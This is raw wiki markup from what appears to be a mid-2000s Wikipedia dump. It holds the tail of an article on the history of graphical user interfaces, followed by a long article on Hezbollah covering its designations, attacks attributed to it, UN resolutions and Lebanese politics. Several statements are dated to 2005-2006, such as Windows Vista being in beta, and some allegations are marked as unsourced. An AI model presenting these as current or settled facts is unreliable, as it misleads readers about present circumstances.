In the early days of X Window development Sun Microsystems and AT&amp;T attempted to push for a GUI standard called [[OpenLook]] in competition with [[Motif (widget toolkit)|MOTIF]]. OpenLook was a well-designed standard developed from scratch while MOTIF was a collective effort that fell into place.  Many who worked on OpenLook at the time appreciate its design coherence.  MOTIF prevailed in this 'religious' war and became the basis for the [[Common Desktop Environment|CDE]] (Common Desktop Environment), originally developed as proprietary software by [[Hewlett-Packard]] under the name VUE (Visual User Environment).  Both X and Open MOTIF are available today as free software. 

In the late [[1990]]s, there was significant growth in the Unix world, especially among the [[free software]] community. New graphical desktop movements grew up around Linux and similar operating systems, based on the X Window System.  A new emphasis on providing an integrated and uniform interface to the user brought about new desktop environments, such as [[KDE]] and [[GNOME]].

==Mac OS X==
[[Image:AM_MacOSX_Panther.png|thumb|[[Mac OS X]]]][[Image:dashboardosx.png|thumbnail|left|Mac OS X with Dashboard]]
Apple released [[Mac OS X]] in [[2001]] with the [[Aqua (GUI)|Aqua]] interface. It was a new operating system built primarily on technology from NeXTStep with UI elements of the original Mac OS grafted on. Mac OS X uses a technology called [[Quartz (graphics layer)|Quartz]] for graphics rendering and drawing on-screen. Some interface features of Mac OS X are inherited from NeXTStep (such as the [[Dock (computing)|Dock]], the automatic wait cursor, or double-buffered windows giving a solid appearance and flicker-free window redraws), while others are inherited from the old Mac OS operating system (the single system-wide menu-bar). [[Mac OS X v10.3]] introduced features to improve usability including [[Exposé (Mac OS X)|Exposé]] which is designed to make finding open windows easier.

With Mac OS X v10.4, new features including Dashboard, a virtual alternate desktop for mini specific-purpose applications, and a tool called Spotlight, which provides users with an option for searching  through files instead of browsing through folders were added.
&lt;br clear=both&gt;

==Windows Vista==
[[Image:Vista-5268-3.jpg|thumb|right|[[Windows Vista]] beta]]
[[Windows Vista]], [[Microsoft]]'s next-generation [[operating system]] - planned for release in late 2006, and currently in beta - will feature a significantly different GUI from previous [[Microsoft Windows|Windows]] versions. The new user interface, dubbed [[Aero (user interface)|Aero]], is split into two modes: Windows Vista Aero and Windows Vista Basic. The Windows Vista Aero mode will use [[pixel shader]] effects - commonly used in games such as Half-Life 2 and Doom 3 to draw effects such as water - and alpha PNG transparency to draw windows and give a &quot;Glass&quot; effect. The Windows Vista Basic mode is like the Luna skin in Windows XP. The traditional &quot;Classic&quot; user interface from previous Windows versions is still included. Windows Vista will also be the first version of Windows where the graphics card will be used to draw the desktop.

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==Trivia==

Modern computer games usually develop their own GUIs, which are often (but not always) based on the [[WIMP_(computing)| WIMP]] paradigm.

==See also==

*[[Apple v. Microsoft]]
*[[Bill Atkinson]]
*[[Blit (computer_terminal)|The Blit]] - A Multiplexed Graphics Terminal by [[Rob Pike]] in [[1982]]
*[[Direct manipulation interface]]
*[[Doug Engelbart]]'s [[On-Line System]]
*[[Graphical user interface]]
*[[History of computing hardware]]
*[[History of Microsoft Windows]]
*[[Ivan Sutherland]]'s [[Sketchpad]]
*[[Jef Raskin]]
*[[Office of the future]]
*[[Mezzo (desktop environment)|Mezzo]]

==External links==
*  [http://arstechnica.com/articles/paedia/gui.ars Jeremy Reimer. &quot;A History of the GUI&quot; [[Ars Technica]]. [[May 5]], [[2005]].]
* [http://toastytech.com/guis/ Nathan Lineback. &quot;The Graphical User Interface Gallery&quot;. Nathan's Toasty Technology Page.]
* [http://www.guidebookgallery.org GUIdebook: Graphical User Interface gallery]
* [http://members.fortunecity.com/pcmuseum/vision.htm VisiOn history - The first GUI for the PC]
* [http://www.mprove.de/diplom/text/3_guis.html mprove: Historical Overview of Graphical User Interfaces]
* [http://www.folklore.org/ Anecdotes about the development of the Macintosh Harware &amp; GUI]

[[Category:graphical user interface]]
[[Category:History of computing]]

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      <text xml:space="preserve">{{alternateuses}}
{{Politics of Lebanon}}
[[Image:Hizb1.jpg|framed|right|The Hezbollah flag]]
'''Hezbollah''' ([[Arabic language|Arabic]] ‮حزب الله‬, meaning '''Party of God''') is a [[Shi'a]] [[Islamist]] group in [[Lebanon]] founded in 1982 to fight the [[Israel]]i occupation in southern [[Lebanon]]. It is regarded by many in the [[Arab world|Arab]] and [[Muslim world]] as a legitimate [[resistance movement|resistance]] movement and [[political party]] in [[Lebanon]]. However, the [[United States]] and various other governments regard it as a [[terrorism|terrorist]] organization (see: [[Hezbollah#Designations|Designations]]). In addition to its military wing, Hezbollah maintains a [[civilian]] arm, which runs [[hospital]]s, news services, educational facilities and participates in the [[Lebanese Parliament]] and recently it was represented in the 2005 government.

==Alternative spellings and names==
The name ‮حزب الله‬ is transliterated from the [[Arabic language|Arabic]] in a number of ways. A scientific transliteration would be '''hizbu' llah'''. '''Hezbollah''' is used by [[CNN]] and [[BBC]]. It is also written as '''Hizbullah,''' '''Hizballah,''' '''Hizbollah,''' '''Hezbullah,''' and the literal Arabic version '''Hizb Allah,''' which is used by [[Al Jazeera]]. &quot;Hizb&quot; (party) is the [[Modern Standard Arabic]] pronunciation, and &quot;Hezb&quot; is closer to [[Persian language|Persian]] and to [[Lebanese Arabic|Lebanese dialect]]. The 'h' is [[pharyngeal]] in Arabic, but a normal 'h' sound in Persian. The &quot;-llah&quot; ending, originally &quot;Allah&quot;, means &quot;(the) God&quot;. The name is derived from a [[Qu'ran|Qu'ranic]] aaya (verse) referring to the &quot;Party of God&quot;.
[[Image:Hez-flag.gif|right|thumb|Illustration of organization flag]]
Hezbollah has a military branch known as ''Al-Muqawama al-Islamiyya'' (&quot;The Islamic Resistance&quot;), and is the possible sponsor of a number of lesser-known militant organizations, some of which may be little more than fronts for Hezbollah itself.  These organizations include the Organization of the Oppressed, the Revolutionary Justice Organization, the Organization of Right Against Wrong, and Followers of the Prophet Muhammed. [http://www.canlii.org/ca/regu/sor1-360/whole.html]

==Designations==
Hezbollah has been designated as a terrorist organization by the [[United States]] [http://www.state.gov/s/ct/rls/pgtrpt/2000/2450.htm] the [[United Kingdom]] [http://europa.eu.int/comm/external_relations/lebanon/intro/], the [[Netherlands]][http://www.fas.org/irp/world/netherlands/aivd2004-eng.pdf], [[Canada]] [http://www.osfi-bsif.gc.ca/eng/publications/advisories/index_supervisory.asp?#Supter][http://www.osfi-bsif.gc.ca/eng/documents/advisories/docs/entstld.txt], [[Israel]] and [[Australia]] [http://www.ag.gov.au/www/attorneygeneralHome.nsf/Alldocs/9F22AF531A4693F2CA256D66007C1F14?OpenDocument]; the U.S. Department of State notes that Hezbollah has killed more than 300 American citizens (over 200 of whom were [[United States Marine Corps|U.S Marines]] in [[Lebanon]] - though accountability for the Marine barracks bombing has never been thoroughly established). The [[European Union]] has designated Hezbollah's External Security Organization or international wing as &quot;terrorist&quot;.

On [[March 10]] [[2005]] the European Parliament voted overwhelmingly (473 in favor, 8 against, 33 abstain) on a resolution branding Hezbollah in whole as a terrorist organization. The resolution stated that the &quot;Parliament considers that clear evidence exists of terrorist activities by Hezbollah. The (EU) Council should take all necessary steps to curtail them&quot;[http://www.haaretzdaily.com/hasen/spages/550729.html]. The EU has also decided to block Hezbollah's [[Al-Manar]] television from European satellites in order to enforce European regulations against &quot;incitement to racial and/or religious hatred&quot;. {{ref|EUBlock}} The United Nations has not included Hezbollah on its list of terrorist groups (which is just being drawn up). However it has called for the disbanding of Hezbollah's military wing in [[UN Security Council Resolution 1559]].

Hezbollah has denounced some acts of terror, like the [[September 11 attacks]][http://cfrterrorism.org/groups/hezbollah2.html], [[Armed Islamic Group|GIA]] [[List of Algerian massacres of the 1990s|massacres]] in [[Algeria]], [[Islamic Group]] attacks on tourists in [[Egypt]]{{ref|terrorcondemn}}, and the murder of [[Nick Berg]][http://news.bbc.co.uk/1/hi/world/middle_east/3710057.stm]. As a stated aim of Hezbollah is the destruction of the state of Israel, it expresses support and sympathy [http://www.unb.ca/web/bruns/9900/issue14/intnews/israel.html] for the activities of [[Hamas]] and [[Palestinian Islamic Jihad|Islamic Jihad]], [[Islamist]] groups responsible for [[suicide bombing|suicide attacks]] in Israel.

==History==
===Origins===
Hezbollah was formed from numerous other Lebanese [[Shia]] groups shortly after [[1982 Lebanon war|Israel's 1982 invasion]], largely fought in mainly Shia southern [[Lebanon]].  The group was conceived by [[Iran]], or at least was aided in its inception by the arrival in Lebanon of 1,500 [[Islamic Revolutionary Guards Corps|Islamic revolutionary guards]] from Iran, three years after that country's own Islamic Revolution in 1979. Iran, as an Islamic republic — a Shia one — remains a close ally, financial backer, arms supplier and model for Hezbollah. [[Syria]] backs Hezbollah morally and has also supplied it with money and arms, such as [[Katyusha|Katyusha rockets]]. In return, Hezbollah protects Syria's interests in Lebanon and aligns with Syria in its confrontation with Israel over the occupation of the [[Golan Heights]].
[http://news.bbc.co.uk/1/hi/world/middle_east/4314423.stm]

One of the main objectives of Hezbollah at the time was to spread the Iranian Revolution. Since then, the party has publicly declared that it will suspend its attempts to create an Islamic state in Lebanon &quot;because the conditions are not met&quot;.  It remained underground for a number of years and did not make a public announcement of its existence until 1985. Its earliest members operated under the auspices of the &quot;Lebanese National Resistance,&quot; an amalgam of forces united in their opposition to the Israeli invasion.

===Hezbollah during the Lebanese war (1982-1990)===
====Combat Operations====
After emerging during the civil war of the early 1980s as an Iranian-sponsored second militia (besides [[Amal Movement|Amal]]) for Lebanon's [[Shia]] community, Hezbollah focused on expelling Israeli and Western forces from Lebanon. It is the principal suspect in several notable attacks on the American, French and Italian Multinational peacekeeping force, whose claimed purpose was the stabilization of Lebanon: the [[suicide bombing]]s of the [[April 1983 U.S. Embassy bombing|U.S. Embassy]], which killed 63 including 17 Americans, of the [[United States Marine Corps|U.S. Marine]] barracks in [[Beirut]] (see [[1983 Beirut barracks bombing]]), which killed 241 American servicemen, and of the French multinational force headquarters which killed 58 French troops. Seven months after the U.S. withdrew its forces from Lebanon a second attack upon the [[United States]] [[embassy]] annex in Beirut in September 1984 killed 20 people including two Americans.[http://newssearch.bbc.co.uk/onthisday/hi/dates/stories/september/20/newsid_2525000/2525197.stm].

Elements of the group have been linked to involvement in kidnapping, detention and [[torture]] of American and other Western [[hostage]]s in Lebanon by groups such as [[Islamic Jihad]] who claimed the hostage-takings were in retaliation to the detentions, hostage-taking and torture by the Israeli ally [[South Lebanon Army]] (SLA).

There may also have been (attempted) terrorist attacks against Hezbollah. According to [[Bob Woodward]]'s book ''Veil: The Secret Wars of the CIA'', the CIA asked the Saudis to co-ordinate and carry out the assassination of Hezbollah's spiritual leader [[Mohammad Hussein Fadlallah|Fadlallah]]. The Saudis for their part hired an ex-[[Special Air Service|SAS]] contact who coordinated and carried out the failed assassination attempt that left 80 civilians dead when the apartment building was reduced to rubble by a car bomb. The operation cost the Saudis $3 million and was conditional on it remaining a secret, which it didn't for long.

====Alleged Terrorism====
Using names like the Organization of the Oppressed on Earth and the Revolutionary Justice Organization, Hezbollah is also believed by the United States to have kidnapped and tortured to death{{fact}} U.S. Marine [[Colonel William R. Higgins]] and the CIA Station Chief in Beirut, [[William Francis Buckley|William Buckley]], and to have kidnapped around 30 other Westerners between 1982 and 1992, including the American journalist [[Terry Anderson]], British journalist [[John McCarthy (journalist)|John McCarthy]], the [[Archbishop of Canterbury]]'s special envoy [[Terry Waite]] and Irish citizen [[Brian Keenan (writer/hostage)|Brian Keenan]]. Hezbollah was accused by the US government of being responsible for the [[April 1983 U.S. Embassy bombing|April 1983 bombing of the U.S. Embassy in Beirut]] that killed 63; of being behind the [[1983 Beirut barracks bombing|suicide truck bombings]] that killed 241 U.S. Marines in their barracks in Beirut in October 1983; of bombing the replacement U.S. Embassy in East Beirut on [[September 20]], [[1984]], killing 20 Lebanese and two American soldiers; and of carrying out the 1985 hijacking of [[TWA Flight 847]] en route from Athens to Rome. Hezbollah denies involvement in these attacks.

===The South Lebanon period (1990-2000)===
The continued existence of Hezbollah's military wing after 1990 violates the [[Taif Agreement]] that ended the [[Lebanese civil war]], which requires the &quot;disbanding of all Lebanese and non-Lebanese militias&quot; and requires the government to &quot;deploy the Lebanese army in the border area adjacent to Israel.&quot;  The Lebanese government did not try to disarm the Hezbollah during the 1990-2000 period, justifying its position by the fact that Hezbollah was fighting for the liberation of the south, then occupied by Israel.

====Conflict in South Lebanon====
South Lebanon was occupied by Israel between 1982 and 2000. Hezbollah, along with the mainly leftist and secular groups in the Lebanese National Resistance Front, fought a guerilla war against Israel and the Israeli proxy [[South Lebanon Army]]. The National Resistance Front militias disarmed in accordance with the Taif Accords, but Hezbollah, which had become by far the largest and most effective of the resistance organisations, did not. The fighting culminated during [[Operation Grapes of Wrath]] in April 1996 when Israel launched an assault and air-campaign against Hezbollah. The campaign failed and resulted in the Israelis killing more than 100 civilians in a bombardment of a United Nations base at [[Qana]].

In January 2000, Hezbollah assassinated the commander of the South Lebanon Army's Western Brigade, Colonel Aql Hashem, at his home in the security zone. Hashem had been responsible for day to day operations of the SLA.[http://www.asylumlaw.org/docs/lebanon/ind01b_lebanon_ca.pdf]

In May 2000, Israel withdrew its army from south Lebanon. This was widely considered a victory for Hezbollah and boosted its popularity in Lebanon. The move did not end the conflict because Hezbollah is still contesting Israel's control of the [[Shebaa farms]] region.

Hezbollah's role in the Israeli withdrawal from southern Lebanon gained the organization respect in Lebanon, particularly among the country's large [[Shi'a]] community. The Shi'a is the single largest religious group in Lebanon, probably comprising at least 40% of the three million citizens (see [[Demographics of Lebanon]]). The [[List of Presidents of Lebanon|President of Lebanon]], [[Emile Lahoud]], said: &quot;For us Lebanese, and I can tell you a majority of Lebanese, Hezbollah is a national resistance movement. If it wasn't for them, we couldn't have liberated our land. And because of that, we have big esteem for the Hezbollah movement.&quot; [http://www.cbsnews.com/stories/2003/04/18/60minutes/main550000.shtml].

However, others in Lebanon, particularly the [[Christian]] community, criticize the movement as extremist and divisive.  [[Michel Aoun]], a prominent Christian parliamentarian, has repeatedly called for Hezbollah's disarmament. [[Saad Hariri]] and his [[Sunni]] bloc also favor disarmament, though with more equivocation than Aoun. [[Walid Jumblatt]], the paramount [[Druze]] leader, supports Hezbollah retaining its arms, though at times he has suggested that Hezbollah could be folded into the Lebanese military.  Overall, many prominent Lebanese politicians resist international pressure to disarm Hezbollah, saying that Hezbollah is an internal Lebanese issue.  The common fear among Lebanese is that the army might disintegrate if the attempt were made to disarm Hezbollah without its consent.{{fact}}

====Alleged Terrorism====
''Note: Hezbollah has been suspected or accused of complicity in the following attacks although they deny involvement.''

*On [[February 16]], [[1992]] [[Abbas al-Musawi]], Hezbollah's secretary was killed by a rocket launched by an Israeli helicopter. On [[March 17]] [[1992]], the [[Israeli Embassy attack in Buenos Aires|Israeli embassy in Buenos Aires was car-bombed]]. Responsibility for the attack that killed 29 people was claimed by a group that identified itself as [[Islamic Jihad]]. The stated motive was retaliation for Israel's assassination of [[Abbas al-Musawi]].
*On [[July 18]], [[1994]] a Jewish community center in [[Argentina]] was bombed ([[AMIA Bombing]]) killing 85 people. A Lebanon-based group called &quot;Partisans of God&quot; claimed to be the author of the attack. The Argentinean government formally charged [[Imad Mughniyah]] as a suspect in both attacks, and in October 2005, Argentinean courts [http://www.dailystar.com.lb/article.asp?edition_id=1&amp;categ_id=2&amp;article_id=19952 formally charged] Hezbollah member [[Ibrahim Hussein Berro]] with the attack.
*On [[July 19]], [[1994]] a Panamanian flight was bombed in the ([[Alas Chiricanas bombing]]) leaving 21 people dead, incluing 12 Jews. The bombing was claimed by an unknown group called [[Ansar Allah]].
*On [[July 26]], [[1994]] eight days after the AMIA Bombing in Argentina, a car bomb exploded outside the Israeli embassy in [[London]], injuring 14 people. Thirteen hours later a similar car bomb exploded outside a Jewish charity in North London.

===Hezbollah after the Israeli withdrawal===
On [[May 22]], [[2000]], Israel withdrew from [[Lebanon]] to the UN-agreed Israeli border, and their pullout was certified by the UN as complete[http://www.un.org/News/Press/docs/2000/20000618.sc6878.doc.html]. However, Hezbollah claims the [[Shebaa Farms]], a 28 sq. km. area, which is still occupied by Israel, to be Lebanese territory, and on that basis has continued to attack Israeli forces in that area. The UN recognizes the Shebaa farms as part of the Golan Heights, and thus occupied Syrian (and not Lebanese) territory.

Israel continues to fly over Lebanese territory, eliciting condemnation from the UN Secretary-General's representative in Lebanon.  Hezbollah's anti-aircraft fire has on some occasions landed within the northern border region of Israel, inciting condemnation from the UN Secretary-General [http://www.un.org/apps/sg/sgstats.asp?nid=449].  On [[November 7]], [[2004]], Hezbollah responded to what it described as repeated Israeli violations of Lebanese airspace by flying an [[Unmanned Aerial Vehicle|unmanned drone aircraft]] over northern [[Israel]].[http://news.bbc.co.uk/1/hi/world/middle_east/3990773.stm]

Hezbollah abducted three [[IDF]] [[soldier]]s during an October 2000 attack in Shebaa Farms, and sought to obtain the release of 14 Lebanese prisoners, some of whom had been held since 1978. On [[January 25]], [[2004]], Hezbollah and Israel agreed on an exchange of prisoners. The prisoner swap was carried out on [[January 29]]: 30 Lebanese and Arab prisoners, the remains of 60 Lebanese militants and civilians, 420 Palestinian prisoners, and maps showing Israeli mines in South Lebanon were exchanged for an Israeli businessman and army reserve colonel kidnapped in 2001 and the remains of the three IDF soldiers mentioned above, who may have been killed during the Hezbollah operation.

On [[July 19]], [[2004]], a senior Hezbollah official, [[Ghaleb Awwali]], was assassinated in a car bombing in [[Beirut]]. Hezbollah blamed Israel; credit was claimed, and then retracted, by a previously unheard of [[Sunni]] group called [[Jund Ash Sham]], while Israel denied involvement[http://archives.tcm.ie/breakingnews/2004/07/19/story157767.asp]. According to [[Al-Arabiya]], unidentified Lebanese police also identified the group as a cover for Israel[http://quote.bloomberg.com/apps/news?pid=10000087&amp;sid=aGFhFUAb_8d0&amp;refer=top_world_news]. Israel alleges that Hezbollah had been increasingly involved in training and arming [[Hamas]] (see section in this article: ''Hezbollah activities in the al-Aqsa Intifada''.)  This claim has been strengthened by Nasrallah's own words. In 2001 Jordan arrested three Hezbollah members attempting to smuggle Katyusha rockets into the West Bank. Nasrallah responded that &quot;it is a duty to send arms to Palestinians from any possible place.&quot;[http://www.globalpolicy.org/security/issues/lebanon/2004/0914lcard.htm][http://www.dailystar.com.lb/article.asp?edition_id=10&amp;categ_id=5&amp;article_id=6519] After Israel's assassination of Hamas leader Sheikh [[Ahmed Yassin]] Hezbollah attacked the IDF along the [[Blue Line (Lebanon)|Blue Line]][http://www.dailystar.com.lb/article.asp?article_ID=1315&amp;categ_ID=2&amp;edition_id=1]. Most recently, during Awwali's funeral, Nasrallah proclaimed that Awwali was &quot;among the team that dedicated their lives in the last few years to help their brothers in occupied Palestine&quot;[http://www.moqawama.org/archive/drep_2004/july/dr_0720.htm], which some take to refer to aiding Hamas. On [[February 9]], [[2005]] [[Palestinian Authority]] officials blamed Hezbollah of attempting to derail the recent truce between Israel and Palestine by offering increased funding and bonuses to the militant cells it operates in Israel and Palestine for any attack they carry out[http://story.news.yahoo.com/news?tmpl=story&amp;cid=574&amp;ncid=721&amp;e=1&amp;u=/nm/20050209/wl_nm/mideast_hizbollah_dc] [http://story.news.yahoo.com/news?tmpl=story&amp;cid=540&amp;ncid=736&amp;e=1&amp;u=/ap/20050209/ap_on_re_mi_ea/hezbollah_threat].

====UN resolution 1559====
On [[September 2]], [[2004]], the [[UN Security Council]] adopted [[UN Security Council Resolution 1559]], coauthored by France and the United States. Echoing the [[Taif Agreement]], the resolution &quot;calls upon all remaining foreign forces to withdraw from Lebanon&quot; and &quot;for the disbanding and disarmament of all Lebanese and non-Lebanese militias.&quot;  Lebanon is currently in violation of Resolution 1559 over its refusal to disband the military wing of Hezbollah. Syria was also in violation of the resolution until recently because of their military presence in Lebanon

On [[October 7]], [[2004]] the [[UN Secretary General]] [[Kofi Annan]] reported to the Security Council regarding the lack of compliance with Resolution 1559.  Mr. Annan concluded his report by saying: &quot;It is time, 14 years after the end of hostilities and four years after the Israeli withdrawal from Lebanon, for all parties concerned to set aside the remaining vestiges of the past. The withdrawal of foreign forces and the disbandment and disarmament of militias would, with finality, end that sad chapter of Lebanese history.&quot; [http://www.un.org/apps/news/story.asp?NewsID=12147&amp;Cr=lebanon&amp;Cr1=]

The [[January 20]], [[2005]] UN Secretary-General's report on Lebanon stated that &quot;The continually asserted position of the Government of Lebanon that the Blue Line is not valid in the [[Shab'a farms]] area is not compatible with Security Council resolutions.  The Council has recognized the Blue Line as valid for purposes of confirming Israel’s withdrawal pursuant to resolution 425 (1978).  The Government of Lebanon should heed the Council’s repeated calls for the parties to respect the Blue Line in its entirety.&quot; [http://www.un.org/News/Press/docs/2005/sc8299.doc.htm]

On [[January 28]], [[2005]] [[UN Security Council Resolution 1583]] called upon the Government of Lebanon to fully extend and exercise its '''sole and effective''' authority throughout the south, including through the deployment of sufficient numbers of Lebanese armed and security forces, to ensure a calm environment throughout the area, including along the Blue Line, and to exert control over the use of force on its territory and from it. [http://www.un.org/News/Press/docs/2005/sc8299.doc.htm]

On [[January 23]], [[2006]] The UN Security Council called on the Government of Lebanon to make more progress in controlling its territory and disbanding militias, while also calling on Syria to cooperate with those efforts.  In a statement read out by its January President, Augustine Mahiga of Tanzania, the Council also called on Syria to take measures to stop movements of arms and personnel into Lebanon[http://www.un.org/apps/news/story.asp?NewsID=17263&amp;Cr=middle&amp;Cr1=leban].

====Hezbollah activities in the al-Aqsa Intifada====
''Main article'': [[al-Aqsa Intifada]]

In [[December 2001|December]] [[2001]] three Hezbollah operatives were caught in Jordan while attempting to smuggle [[Katyusha|BM-13 Katyusha]] rockets into the West Bank.  Nasrallah responded that &quot;It is a duty to send arms to Palestinians from any possible place.&quot;[http://www.dailystar.com.lb/article.asp?edition_id=10&amp;categ_id=5&amp;article_id=6519]

During [[2002]], [[2003]] and [[2004]], the [[Israeli Security Forces]] thwarted numerous [[suicide bombing]] attacks, some of which Israel claims were planned and funded by Hezbollah and were to have been carried out by [[Tanzim]] ([[Fatah]]'s armed wing) activists. Israeli officials accused Hezbollah of aiding [[Palestinian terrorism]] and participating in weapon smuggling (see also: [[Santorini]], [[Karin A]]).

On [[June 16]], [[2004]], two Palestinian girls — aged 14 and 15 — were arrested by the [[Israeli Defence Forces]] for plotting a suicide bombing. [http://www.haaretz.com/hasen/spages/439981.html] According to IDF statement, the two minors were recruited by [[Tanzim]] activists, and guided by Hezbollah. [http://www1.idf.il/DOVER/site/mainpage.asp?sl=EN&amp;id=7&amp;docid=32081.EN]
On [[June 23]], [[2004]], another allegedly Hezbollah-funded [[suicide bombing]] attack was foiled by the [[Israeli security forces]]. [http://www.maarivintl.com/index.cfm?fuseaction=article&amp;articleID=8960].

In [[February 2005|February]] [[2005]] the [[Palestinian Authority]] accused Hezbollah of attempting to derail the truce signed with Israel. Palestinian officials and former militants described how Hezbollah promised an increase in funding for any cell able to carry out a terrorist attack [http://story.news.yahoo.com/news?tmpl=story&amp;cid=540&amp;ncid=736&amp;e=1&amp;u=/ap/20050209/ap_on_re_mi_ea/hezbollah_threat].
Since the May 2000 Israeli withdrawal, Hezbollah has continued fighting the [[IDF]] around the disputed 10 km²-[[Shebaa Farms]] area on the Lebanese-Syrian border. Although the UN regards Shebaa Farms — 14 farms on the western slope of Mount Hermon, near the village of Shebaa &amp;mdash; as Syrian territory, Hezbollah considers the area a part of Lebanon. The Shebaa farms were taken by Israel from Syria during the [[Six-Day War|1967 war]]. Syria was asked to notify the UN that it considered the Shebaa farms to be part of Lebanon, but no official statement was ever sent. This has led some specialists to believe that Hezbollah’s attempt to recapture the area was a Syrian-backed pretext to keep Israel under military pressure. Some argue that Hezbollah is being used by Syria and Iran as a [[proxy]] against Israel. [http://www.merip.org/mero/mero042803.html]

====Hezbollah and the &quot;Cedar Revolution&quot;====
After the assassination of [[Rafik Hariri]] in February 2005 Hezbollah strongly supported Syria's presence through demonstrations. It opposed the [[cedar revolution]] which resulted in Syria's withdrawal. However Hezbollah won the biggest number of representatives in its history during the parliamentary elections of May 2005 and managed to join the [[Lebanese government of July 2005|government in July 2005]] in the name of national unity. Hezbollah still holds a large quantity of weapons and the subject remains extremely controversial in Lebanon.

====Hezbollah activities following the &quot;Cedar Revolution&quot;====
During the months following (Hezbollah's main backer) Syria's April 2005 withdrawal from Lebanon, international and domestic pressure has mounted on Hezbollah to dismantle its military wing and become solely a political party.  On [[November 21]], [[2005]] Hezbollah launched a heavy attack along the entire border with Israel which was supposed to provide tactical cover for an attempt by a squad of Hezbollah special forces to abduct Israeli troops in the Israeli side of the village of [[Al-Ghajar]][http://www.haaretz.com/hasen/pages/ShArt.jhtml?itemNo=648271&amp;contrassID=1&amp;subContrassID=5].  The attacked failed when an ambush by the IDF [[Paratroopers]] killed 4 Hezbollah members and scattered the rest[http://www.haaretz.com/hasen/objects/pages/PrintArticleEn.jhtml?itemNo=648771].  The IDF then responded with a heavy attack which destroyed Hezbollah's front line outposts and communication centers.  The scope of the attack forced a rare request by Lebanon (whose army does not control southern Lebanon) for a cease-fire.  Following the attack the UN Security Council denounced Hezbollah[http://www.un.org/apps/news/story.asp?NewsID=16671&amp;Cr=middle&amp;Cr1=east]. Commentators have speculated that the attack was an attempt to draw Israel into renewed conflict in Lebanon, alleviating diplomatic pressure on it's backers Syria (which is under investigation for the assassination of Lebanese prime minister Rafiq Hariri) and Iran (which is under UN investigation regarding alleged violations of the [[Nuclear Non-Proliferation Treaty]])[http://www.defense-update.com/2005/12/al-ghajar-village-flashpoint.html].

On [[December 27]], [[2005]] Katyusha rockets fired from Hezbollah territory smashed into houses in the northern Israeli city of [[Kiryat Shmona]] wounding three people[http://news.yahoo.com/s/nm/20051228/wl_nm/mideast_attack_dc_6]. UN Secretary General Kofi Annan called on the Lebanese Government &quot;to extend its control over all its territory, to exert its monopoly on the use of force, and to put an end to all such attacks&quot;[http://www.un.org/apps/news/story.asp?NewsID=17049&amp;Cr=Middle&amp;Cr1=Lebanon]. Lebanese Prime Minister [[Fouad Siniora]] denounced the attack as &quot;aimed at destabilizing security and diverting attention from efforts exerted to solve the internal issues prevailing in the country&quot;[http://www.haaretz.com/hasen/spages/663101.html].

===Post-Lebanese election===
After the [[Lebanese general election, 2005|2005 elections]], Hezbollah held 23 seats (up from eight previously) in the 128-member Lebanese Parliament. It also participated for the first time in the Lebanese government that was formed in July 2005.  Hezbolla has two ministers in the government, and a third is Hezbollah-endorsed. It is primarily active in the [[Bekaa Valley]], the southern suburbs of [[Beirut]], and southern Lebanon. The group is headed by Sayyed [[Hassan Nasrallah]] and is financed largely by Iran and Syria, though it also raises funds itself through charities and commercial activities.

==Political activities==
Hezbollah is an active participant in the political life and processes of Lebanon, and its scope of operation is far beyond its initial militant one.  In 1992, it participated in elections for the first time, winning 12 out of 128 seats in parliament. It won 10 seats in 1996, and 8 in 2000. In the [[Lebanese general election, 2005|general election]] of 2005, it won 23 seats nationwide, and an [[Amal Movement|Amal]]-Hezbollah alliance won all 23 seats in Southern Lebanon. Since the end of the Israeli occupation in southern Lebanon on [[May 22]] [[2000]], Hezbollah has been involved in activities like building [[school]]s, clinics, and [[hospital]]s.

==Foreign relations==
[[Image:BND Hezbollah.jpg|thumb|right|Good Foreign Relations: President of the German intelligence service [[Bundesnachrichtendienst|BND]] in front of a flag of [[Lebanon]] and a Hezbollah flag, [[January 30]], [[2004]]]]

Hezbollah claims that it forbids its fighters entry into Iraq for any reason, and that no Hezbollah units or individual fighters have entered Iraq to support any Iraqi faction fighting America. However, on [[April 2]], [[2004]], [[Muqtada al-Sadr]] announced his intention to form chapters of Hezbollah and [[Hamas]] in Iraq [http://www.nytimes.com/2004/04/05/international/middleeast/05SADR.html?8bl]. He is not known to have consulted Hezbollah or Hamas before making this statement.

Hezbollah has been accused of having links to [[Al-Qaida]]. Though Hezbollah has a [[Shia|Shi'ite]] ideology, this does not exclude it from co-operation with [[Sunni]] groups. Since [[September 11]] [[2001]] Hezbollah's alleged links with al-Qaeda came under more scrutiny. American intelligence officials have stated they believe there has been contact between Hezbollah and low-level al-Qaeda figures that fled [[Afghanistan]] for Lebanon. [http://www.cbsnews.com/stories/2002/07/26/attack/main516585.shtml] Furthermore leading international Hezbollah militant [[Imad Mugniyah]] is said to be working with [[Abu Musab al-Zarqawi]] in [[Iraq]]. [http://www.cnn.com/2003/WORLD/meast/08/13/iraq.terror/] Many have suggested a broader alliance between Hezbollah, al-Qaeda, and the Iranian Revolutionary Guard.
[http://www.washingtonpost.com/wp-dyn/articles/A6581-2004Jun25.html] [http://www.rediff.com/news/2004/jul/16spec1.htm]Such claims are doubted since Al-Qaeda's Wahhabist ideology considers Shiia Muslims infidels, which it has demonstrated in suicide bombings and attacks on Shiia targets in Iraq. Hezbollah has publicly denied having any ties with al-Qaeda. [http://english.people.com.cn/200207/01/eng20020701_98923.shtml]

In 2004 the [[Netherlands|Dutch]] internal security agency [[AIVD]], concluded:

:&quot;Investigations have shown that Hezbollah’s terrorist wing, the Hezbollah External Security Organisation, has been directly and indirectly involved in terrorist acts. It can also be concluded that Hezbollah’s political and terrorist wings are controlled by one coordinating council. This means that there is indeed a link between these parts of the organisation. The Netherlands has changed its policy and no longer makes a distinction between the political and terrorist Hezbollah branches. The Netherlands informed the relevant EU bodies of its findings.&quot; [http://www.fas.org/irp/world/netherlands/aivd2004-eng.pdf]

It is widely believed that [[Hafez al-Assad]] and Hezbollah were closely linked; this did not significantly affect his relations with the rest of the world.  [[Bashar al-Assad]], his son and successor, has been subjected to sanctions by the [[United States|U.S.]] due to (among other things, such as occupying Lebanon) his continued support for Hezbollah, which it views as a terrorist organization. However, on [[March 3]], [[2005]], the Bush administration stated that it would consider Hezbollah legitimate if it disarmed, but also said that this did not represent a change in their view of the organization, which is unlikely to do so.

